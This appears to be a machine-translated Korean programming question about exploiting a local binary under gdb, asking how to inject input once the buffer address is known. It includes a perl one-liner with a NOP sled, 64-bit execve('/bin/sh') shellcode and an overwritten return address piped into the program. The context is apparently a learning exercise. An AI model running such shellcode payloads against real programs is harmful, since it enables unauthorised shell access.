쉘 코드와 그 주소를 삽입해야하지만 gdb에서 프로그램을 실행 한 후에 만 버퍼 주소를 감지 할 수 있습니다.gdb에 복잡한 입력을 동적으로 삽입하는 방법
입력이 복잡합니다. 내가 주소를 알았다면,이 같은 프로그램을 실행합니다 :
perl -e 'print "\x90" x 8152;
print "\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05";
print "\x70\xa1\x4c\xa9\xff\x7f\x00\x00"' | a.out
첫 번째 인쇄는 NOP를하다
, 두 번째는 (64 비트 용) 쉘 코드 마지막 인쇄가 반환 주소입니다. 필자는 가독성을 높이기 위해 입력을 세 줄로 분리했습니다.대개 나는 주소를 추측해야한다는 것을 알고 있지만,이 입력을 여러 번 실행해야합니다. 그러나 실행 후 프로그램을 실행 한 후에 어떻게 동적으로 이러한 입력을 삽입 할 수 있을지 궁금합니다.
솔루션을 찾지 만 성공하지 못했습니다. 프로그램이 실행되기 전에 리디렉션해야하므로 입력 리디렉션이 작동하지 않으므로 메모리를보고 리턴 주소가 저장되는 위치를 감지 할 수 없습니다.
나는 또한 명명 된 파이프를 시도했지만 성공하지 못했습니다.
또한 실제로 디버거에서 실행하기 전에 프로그램이 실행될 메모리에 대한 정보를 얻는 방법을 찾으려고했습니다.
모든 조언을 주시면 감사하겠습니다.